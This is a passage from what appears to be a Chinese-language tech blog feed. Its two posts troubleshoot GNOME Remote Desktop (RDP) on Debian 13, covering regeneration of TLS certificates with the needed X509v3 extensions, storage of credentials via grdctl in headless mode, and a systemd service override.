&lt;h3 id=&quot;3-jian-cha-zheng-shu-bao-han-de-x509v3-kuo-zhan&quot;&gt;3. 检查证书包含的 X509v3 扩展&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;openssl x509 -in rdp-tls.crt -text -noout | grep -E &amp;quot;Subject Alternative Name|Key Usage|Extended Key Usage&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出为空——旧证书缺少现代 TLS 必需的 SAN、Key Usage 等扩展字段。FreeRDP 3.x 对此要求严格。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-jian-cha-gsettings-pei-zhi-de-zheng-shu-lu-jing&quot;&gt;4. 检查 gsettings 配置的证书路径&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gsettings get org.gnome.desktop.remote-desktop.rdp tls-cert
gsettings get org.gnome.desktop.remote-desktop.rdp tls-key
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出：&lt;code&gt;&#x2F;home&#x2F;peterxiao&#x2F;...&lt;&#x2F;code&gt; — &lt;strong&gt;指向错误的 home 目录&lt;&#x2F;strong&gt;（实际用户为 &lt;code&gt;peter&lt;&#x2F;code&gt;，&lt;code&gt;&#x2F;home&#x2F;peterxiao&#x2F;&lt;&#x2F;code&gt; 不存在）。这是本次故障的直接原因。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gen-yin-zong-jie&quot;&gt;根因总结&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;路径不匹配&lt;&#x2F;strong&gt;：gsettings&#x2F;dconf 中配置的证书路径指向不存在的目录（用户名拼写错误），daemon 无法读取证书文件。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;证书缺少扩展&lt;&#x2F;strong&gt;：即便路径正确，旧证书也缺少 &lt;code&gt;subjectAltName&lt;&#x2F;code&gt;、&lt;code&gt;Key Usage&lt;&#x2F;code&gt;、&lt;code&gt;Extended Key Usage&lt;&#x2F;code&gt; 等 X509v3 扩展，FreeRDP 3.15 会拒绝加载。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;xiu-fu-bu-zou&quot;&gt;修复步骤&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;bu-zou-1-ting-zhi-fu-wu&quot;&gt;步骤 1：停止服务&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;systemctl --user stop gnome-remote-desktop.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;bu-zou-2-shan-chu-jiu-zheng-shu&quot;&gt;步骤 2：删除旧证书&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;rm ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;certificates&amp;#x2F;rdp-tls.crt
rm ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;certificates&amp;#x2F;rdp-tls.key
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;bu-zou-3-zhong-zhi-gsettings-lu-jing&quot;&gt;步骤 3：重置 gsettings 路径&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gsettings reset org.gnome.desktop.remote-desktop.rdp tls-cert
gsettings reset org.gnome.desktop.remote-desktop.rdp tls-key
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;bu-zou-4-sheng-cheng-fu-he-gui-fan-de-zheng-shu&quot;&gt;步骤 4：生成符合规范的证书&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;HOSTNAME=$(hostname)

openssl req -x509 -newkey rsa:4096 -sha384 -days 730 -nodes \
  -keyout ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;certificates&amp;#x2F;rdp-tls.key \
  -out    ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;certificates&amp;#x2F;rdp-tls.crt \
  -subj   &amp;quot;&amp;#x2F;CN=$HOSTNAME&amp;quot; \
  -addext &amp;quot;subjectAltName=DNS:$HOSTNAME&amp;quot; \
  -addext &amp;quot;keyUsage=digitalSignature,keyEncipherment&amp;quot; \
  -addext &amp;quot;extendedKeyUsage=serverAuth&amp;quot; \
  -addext &amp;quot;nsCertType=server&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;关键点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;必须包含 &lt;code&gt;subjectAltName&lt;&#x2F;code&gt;（FreeRDP 3.x 强制要求）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;extendedKeyUsage=serverAuth&lt;&#x2F;code&gt; 标识为 TLS 服务器证书&lt;&#x2F;li&gt;
&lt;li&gt;使用 &lt;code&gt;-sha384&lt;&#x2F;code&gt;（与 gnome-remote-desktop 默认一致）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;bu-zou-5-yan-zheng-zheng-shu-yu-mi-yao-pi-pei&quot;&gt;步骤 5：验证证书与密钥匹配&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;openssl x509 -in ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;certificates&amp;#x2F;rdp-tls.crt -noout -modulus | md5sum
openssl rsa  -in ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;certificates&amp;#x2F;rdp-tls.key -noout -modulus | md5sum
# 两个 md5sum 应一致
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;bu-zou-6-yong-grdctl-pei-zhi-zheng-shu-lu-jing&quot;&gt;步骤 6：用 grdctl 配置证书路径&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;grdctl rdp set-tls-cert ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;certificates&amp;#x2F;rdp-tls.crt
grdctl rdp set-tls-key  ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;certificates&amp;#x2F;rdp-tls.key
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;bu-zou-7-qi-dong-bing-yan-zheng&quot;&gt;步骤 7：启动并验证&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;systemctl --user start gnome-remote-desktop.service

# 查看状态
systemctl --user status gnome-remote-desktop.service

# 应显示 &amp;quot;RDP server started&amp;quot;，无证书错误
grdctl status
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;chang-yong-pai-cha-ming-ling&quot;&gt;常用排查命令&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 查看实时日志
journalctl --user -u gnome-remote-desktop.service -f --no-pager

# 检查证书有效期
openssl x509 -in ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;certificates&amp;#x2F;rdp-tls.crt -noout -dates

# 查看证书完整信息
openssl x509 -in ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;certificates&amp;#x2F;rdp-tls.crt -text -noout

# 检查当前 gsettings 配置
gsettings list-recursively org.gnome.desktop.remote-desktop.rdp

# 检查 RDP 端口监听
ss -tlnp | grep 3389
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;yi-zhi-jian-rong-xing-wen-ti&quot;&gt;已知兼容性问题&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;组件&lt;&#x2F;th&gt;&lt;th&gt;版本&lt;&#x2F;th&gt;&lt;th&gt;要求&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;FreeRDP&lt;&#x2F;td&gt;&lt;td&gt;&amp;gt;= 3.x&lt;&#x2F;td&gt;&lt;td&gt;证书必须包含 &lt;code&gt;subjectAltName&lt;&#x2F;code&gt; 扩展&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;GNOME Remote Desktop&lt;&#x2F;td&gt;&lt;td&gt;48.x&lt;&#x2F;td&gt;&lt;td&gt;使用 SHA-384 签名算法，RSA 4096 密钥&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;can-kao&quot;&gt;参考&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;证书路径由 &lt;code&gt;grdctl rdp set-tls-cert&#x2F;key&lt;&#x2F;code&gt; 写入 dconf，持久化在 &lt;code&gt;~&#x2F;.config&#x2F;dconf&#x2F;user&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;daemon 不会自动生成证书，必须手动创建或通过 GNOME Settings -&amp;gt; Sharing -&amp;gt; Remote Desktop 触发生成&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;BIO_new failed&lt;&#x2F;code&gt; 通常意味着 FreeRDP 的 OpenSSL 后端无法解析 PEM 文件内容（路径不存在、格式损坏、或缺少必需扩展）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>GNOME Remote Desktop (RDP) 完整排查与修复记录</title>
        <published>2026-06-13T13:00:00+08:00</published>
        <updated>2026-09-11T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/06/gnome-remote-desktop-full-troubleshooting/"/>
        <id>https://vercel.juzhong.asia/2026/06/gnome-remote-desktop-full-troubleshooting/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/06/gnome-remote-desktop-full-troubleshooting/">&lt;h1 id=&quot;gnome-remote-desktop-rdp-wan-zheng-pai-cha-yu-xiu-fu-ji-lu&quot;&gt;GNOME Remote Desktop (RDP) 完整排查与修复记录&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;huan-jing-xin-xi&quot;&gt;环境信息&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;值&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;操作系统&lt;&#x2F;td&gt;&lt;td&gt;Debian 13.3 (Trixie)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;内核&lt;&#x2F;td&gt;&lt;td&gt;6.12.73+deb13-amd64&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;gnome-remote-desktop&lt;&#x2F;td&gt;&lt;td&gt;48.1-4&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;libfreerdp-server&lt;&#x2F;td&gt;&lt;td&gt;3.15.0+dfsg-2.1&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;运行模式&lt;&#x2F;td&gt;&lt;td&gt;systemd user service (&lt;code&gt;--user&lt;&#x2F;code&gt;)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;用户&lt;&#x2F;td&gt;&lt;td&gt;peter (UID 1000)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;主机名&lt;&#x2F;td&gt;&lt;td&gt;xiao99&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;证书目录&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;~&#x2F;.local&#x2F;share&#x2F;gnome-remote-desktop&#x2F;certificates&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;凭据存储&lt;&#x2F;td&gt;&lt;td&gt;GKeyFile (&lt;code&gt;~&#x2F;.local&#x2F;share&#x2F;gnome-remote-desktop&#x2F;credentials.ini&lt;&#x2F;code&gt;)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;配置文件&lt;&#x2F;td&gt;&lt;td&gt;dconf&#x2F;gsettings (&lt;code&gt;org.gnome.desktop.remote-desktop.rdp&lt;&#x2F;code&gt;)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;chu-shi-gu-zhang-xian-xiang&quot;&gt;初始故障现象&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;RDP 服务可以连接（端口 3389 开放），但客户端输入用户名密码后立即断开&lt;&#x2F;li&gt;
&lt;li&gt;日志显示 &lt;code&gt;Credentials are not set, denying client&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;配置好凭据后，连接时日志报 NTLM MIC 验证失败&lt;&#x2F;li&gt;
&lt;li&gt;通过 NLA 认证后，会话创建被阻止，日志显示 &lt;code&gt;Session creation inhibited&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;wen-ti-yi-rdp-zheng-shu-que-shao-x509v3-kuo-zhan&quot;&gt;问题一：RDP 证书缺少 X509v3 扩展&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;pai-cha&quot;&gt;排查&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 检查证书文件是否存在
ls -la ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;certificates&amp;#x2F;
# 结果：rdp-tls.crt 和 rdp-tls.key 存在

# 检查 gsettings 证书路径
gsettings get org.gnome.desktop.remote-desktop.rdp tls-cert
gsettings get org.gnome.desktop.remote-desktop.rdp tls-key
# 结果：路径正确，指向 &amp;#x2F;home&amp;#x2F;peter&amp;#x2F;...

# 检查证书包含的 X509v3 扩展
openssl x509 -in rdp-tls.crt -text -noout | grep -E &amp;quot;Subject Alternative Name|Key Usage|Extended Key Usage&amp;quot;
# 结果：无输出 —— 旧证书缺少现代 TLS 必需的 SAN、Key Usage 等扩展字段
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;gen-yin&quot;&gt;根因&lt;&#x2F;h3&gt;
&lt;p&gt;FreeRDP 3.x 严格要求证书包含 &lt;code&gt;subjectAltName&lt;&#x2F;code&gt; (SAN)、&lt;code&gt;Key Usage&lt;&#x2F;code&gt;、&lt;code&gt;Extended Key Usage&lt;&#x2F;code&gt; 等 X509v3 扩展。旧证书由 GNOME 早期版本自动生成，缺少这些扩展。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xiu-fu&quot;&gt;修复&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 1. 停止服务
systemctl --user stop gnome-remote-desktop.service

# 2. 删除旧证书
rm ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;certificates&amp;#x2F;rdp-tls.crt
rm ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;certificates&amp;#x2F;rdp-tls.key

# 3. 重置 gsettings 路径
gsettings reset org.gnome.desktop.remote-desktop.rdp tls-cert
gsettings reset org.gnome.desktop.remote-desktop.rdp tls-key

# 4. 生成含正确扩展的证书
HOSTNAME=$(hostname)

openssl req -x509 -newkey rsa:4096 -sha384 -days 730 -nodes \
  -keyout ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;certificates&amp;#x2F;rdp-tls.key \
  -out    ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;certificates&amp;#x2F;rdp-tls.crt \
  -subj   &amp;quot;&amp;#x2F;CN=$HOSTNAME&amp;quot; \
  -addext &amp;quot;subjectAltName=DNS:$HOSTNAME&amp;quot; \
  -addext &amp;quot;keyUsage=digitalSignature,keyEncipherment&amp;quot; \
  -addext &amp;quot;extendedKeyUsage=serverAuth&amp;quot; \
  -addext &amp;quot;nsCertType=server&amp;quot;

# 5. 验证证书与密钥匹配
openssl x509 -in ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;certificates&amp;#x2F;rdp-tls.crt -noout -modulus | md5sum
openssl rsa  -in ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;certificates&amp;#x2F;rdp-tls.key -noout -modulus | md5sum
# 两个 md5sum 必须一致

# 6. 通过 gsettings 设置证书路径
gsettings set org.gnome.desktop.remote-desktop.rdp tls-cert &amp;quot;&amp;#x2F;home&amp;#x2F;peter&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;certificates&amp;#x2F;rdp-tls.crt&amp;quot;
gsettings set org.gnome.desktop.remote-desktop.rdp tls-key  &amp;quot;&amp;#x2F;home&amp;#x2F;peter&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;certificates&amp;#x2F;rdp-tls.key&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;cai-keng-grdctl-she-lu-jing-shi-bai&quot;&gt;踩坑：grdctl 设路径失败&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;grdctl rdp set-tls-cert&lt;&#x2F;code&gt; 通过 D-Bus 与 daemon 通信，若 daemon 未运行，D-Bus 激活会以无证书状态启动 daemon，导致 &lt;code&gt;BIO_new failed for certificate&lt;&#x2F;code&gt; 错误。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;解决&lt;&#x2F;strong&gt;：改用 &lt;code&gt;gsettings set&lt;&#x2F;code&gt; 直接写 dconf，避免触发 D-Bus 激活。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;更正（2026-09-11，grd 48.1 源码核实）&lt;&#x2F;strong&gt;：&lt;code&gt;grdctl rdp set-tls-cert&#x2F;key&lt;&#x2F;code&gt; 并不通过 D-Bus 与 daemon 通信——它只做 &lt;code&gt;g_object_set(settings, &quot;rdp-server-cert-path&quot;&#x2F;&quot;rdp-server-key-path&quot;, ...)&lt;&#x2F;code&gt;，用户级模式下由 &lt;code&gt;grd-settings-user.c&lt;&#x2F;code&gt; 的 &lt;code&gt;g_settings_bind&lt;&#x2F;code&gt; 直接写 dconf。也就是说 &lt;code&gt;grdctl&lt;&#x2F;code&gt; 与 &lt;code&gt;gsettings set&lt;&#x2F;code&gt; 写的是&lt;strong&gt;同一个 dconf 键&lt;&#x2F;strong&gt;，不存在“daemon 未运行会被 D-Bus 激活”的链路。当时真正的失败原因更可能是证书文件本身无法解析（路径不存在&#x2F;缺扩展），与用什么命令写路径无关。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;wen-ti-er-rdp-ping-ju-wei-she-zhi&quot;&gt;问题二：RDP 凭据未设置&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;pai-cha-1&quot;&gt;排查&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;grdctl status
# 输出：Username: (empty), Password: (empty)

journalctl --user -u gnome-remote-desktop.service -f
# 日志：[RDP] Credentials are not set, denying client
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;gen-yin-1&quot;&gt;根因&lt;&#x2F;h3&gt;
&lt;p&gt;RDP 服务需要设置登录凭据（用户名 + 密码）才能接受客户端连接。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xiu-fu-1&quot;&gt;修复&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 尝试标准方式 —— 失败（见问题三）
grdctl rdp set-credentials peter &amp;#x27;&amp;lt;your-password&amp;gt;&amp;#x27;
# 错误：The &amp;#x27;&amp;#x2F;org&amp;#x2F;freedesktop&amp;#x2F;secrets&amp;#x2F;collection&amp;#x2F;login&amp;#x27; object does not exist

# 使用 headless 模式绕过 GNOME Keyring
grdctl --headless rdp set-credentials peter &amp;#x27;&amp;lt;your-password&amp;gt;&amp;#x27;
# 输出：Init TPM credentials failed ... using GKeyFile as fallback.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;wen-ti-san-gnome-keyring-que-shao-login-mi-yao-huan&quot;&gt;问题三：GNOME Keyring 缺少 login 密钥环&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;pai-cha-2&quot;&gt;排查&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 检查是否存在密钥环集合
python3 -c &amp;quot;
import gi
gi.require_version(&amp;#x27;Secret&amp;#x27;, &amp;#x27;1&amp;#x27;)
from gi.repository import Secret
service = Secret.Service.get_sync(Secret.ServiceFlags.OPEN_SESSION)
collections = service.get_collections()
for c in collections:
    print(f&amp;#x27;{c.get_label()} ({c.get_object_path()})&amp;#x27;)
&amp;quot;
# 结果：No collections found

# 检查密钥环文件
ls ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;keyrings&amp;#x2F;
# 结果：目录不存在

# 检查 D-Bus Secret Service
busctl --user call org.freedesktop.secrets &amp;#x2F;org&amp;#x2F;freedesktop&amp;#x2F;secrets \
  org.freedesktop.DBus.Properties Get ss \
  org.freedesktop.Secret.Service Collections
# 结果：只有一个 session 临时集合，无 login 密钥环
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;gen-yin-2&quot;&gt;根因&lt;&#x2F;h3&gt;
&lt;p&gt;用户的 GNOME Keyring &lt;code&gt;login&lt;&#x2F;code&gt; 密钥环从未被创建。通常由 GDM PAM 模块 (&lt;code&gt;pam_gnome_keyring.so&lt;&#x2F;code&gt;) 在登录时自动创建并解锁。可能原因：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;用户通过 SSH 或 tty 登录而非 GDM&lt;&#x2F;li&gt;
&lt;li&gt;PAM 配置未正确加载 gnome-keyring 模块&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;grdctl rdp set-credentials&lt;&#x2F;code&gt; 底层使用 libsecret，要求 &lt;code&gt;login&lt;&#x2F;code&gt; 密钥环存在才能存储密码。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xiu-fu-2&quot;&gt;修复&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;方案&lt;&#x2F;strong&gt;：使用 &lt;code&gt;grdctl --headless&lt;&#x2F;code&gt; 模式，凭据存储到 GKeyFile 文件而非 GNOME Keyring。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;grdctl --headless rdp set-credentials peter &amp;#x27;&amp;lt;your-password&amp;gt;&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;凭据写入 &lt;code&gt;~&#x2F;.local&#x2F;share&#x2F;gnome-remote-desktop&#x2F;credentials.ini&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;[RDP]
credentials={&amp;#x27;username&amp;#x27;: &amp;lt;&amp;#x27;peter&amp;#x27;&amp;gt;, &amp;#x27;password&amp;#x27;: &amp;lt;&amp;#x27;&amp;lt;your-password&amp;gt;&amp;#x27;&amp;gt;}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;要点&lt;&#x2F;strong&gt;：daemon 也必须以 &lt;code&gt;--headless&lt;&#x2F;code&gt; 模式运行才能读取 GKeyFile 中的凭据。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;wen-ti-si-systemd-type-dbus-yu-headless-bu-jian-rong&quot;&gt;问题四：systemd Type=dbus 与 --headless 不兼容&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;pai-cha-3&quot;&gt;排查&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;systemctl --user status gnome-remote-desktop.service
# 状态：activating (start) —— 卡在启动中
# 90 秒后超时：Failed with result &amp;#x27;timeout&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;gen-yin-3&quot;&gt;根因&lt;&#x2F;h3&gt;
&lt;p&gt;daemon 默认以 &lt;code&gt;Type=dbus&lt;&#x2F;code&gt; 运行，systemd 等待 daemon 注册 D-Bus 名称 &lt;code&gt;org.gnome.RemoteDesktop.User&lt;&#x2F;code&gt;。但 &lt;code&gt;--headless&lt;&#x2F;code&gt; 模式下，daemon 可能在注册 D-Bus 名称前需要额外初始化（如 TPM 尝试），导致超时。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xiu-fu-3&quot;&gt;修复&lt;&#x2F;h3&gt;
&lt;p&gt;创建 systemd 服务覆盖配置文件：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;~&#x2F;.config&#x2F;systemd&#x2F;user&#x2F;gnome-remote-desktop.service.d&#x2F;headless.conf&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;[Service]
Type=simple
ExecStart=
ExecStart=&amp;#x2F;usr&amp;#x2F;libexec&amp;#x2F;gnome-remote-desktop-daemon --headless
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;关键点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;第一行 &lt;code&gt;ExecStart=&lt;&#x2F;code&gt; 清空上游配置中的 ExecStart&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Type=simple&lt;&#x2F;code&gt; 替代 &lt;code&gt;Type=dbus&lt;&#x2F;code&gt;，daemon 启动即视为就绪&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;systemctl --user daemon-reload
systemctl --user restart gnome-remote-desktop.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
